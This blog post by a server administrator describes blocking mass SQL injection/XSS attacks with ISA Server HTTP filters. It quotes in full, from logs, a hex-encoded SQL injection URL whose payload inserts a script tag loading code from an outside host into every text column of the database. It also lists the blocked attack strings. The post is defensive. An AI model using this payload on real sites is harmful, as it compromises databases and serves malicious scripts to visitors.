SQL Injection/XSS attacks and ISA HTTP filter

In my previous post I wrote about blocking China because a lot of SQL Injection/XSS attacks against my customer servers originated from there. In this post I will write about some other steps we took to protect the servers.

From log files we were able to determine that computers there are part of zombie network were passing following URL against the web servers:


http://www.[domain].com/Default.aspx?id=223&lang=2;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F77777733
2E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212
D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B65
20272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F7
77777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F736372697074
3E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F43757
2736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572
736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

After analyzing this URL we determined few optional strings to block. Here are some of them:

• "declare @s char("
• "exec(@s)"
• "@s=cast("
• "char("

Not seen in above encoded URL is also string "script src=http://" which we also decided to block

I decided to block above strings on ISA Server that is in this case front end firewall. I opened ISA Server Management console and right clicked on the publishing rule for the server that was getting attacked. Here I selected "Configure HTTP" (picture below).

Here we can now enter strings that we identified earlier and we want to block when they appear in the URL (picture below)

After clicking OK we can preview entered strings (picture below)

We also added another filter under "General" tab. URL in our example is very long (over 1300 characters) and we decided to limit how long the URLs passed to our web servers can be. Instead of default 10240 bytes we decreased the value to 512 bytes which will more than accommodate our needs (picture below). URL requests longer than 512 bytes will be blocked.

When URL matching any entered filters ISA will block the request before it reaches the potentially vulnerable web server (picture below).

Note: This was never meant as permanent cure for SQL Injection or XSS attacks. We did this just as a precaution and to buy some time to check the web applications for any vulnerabilities!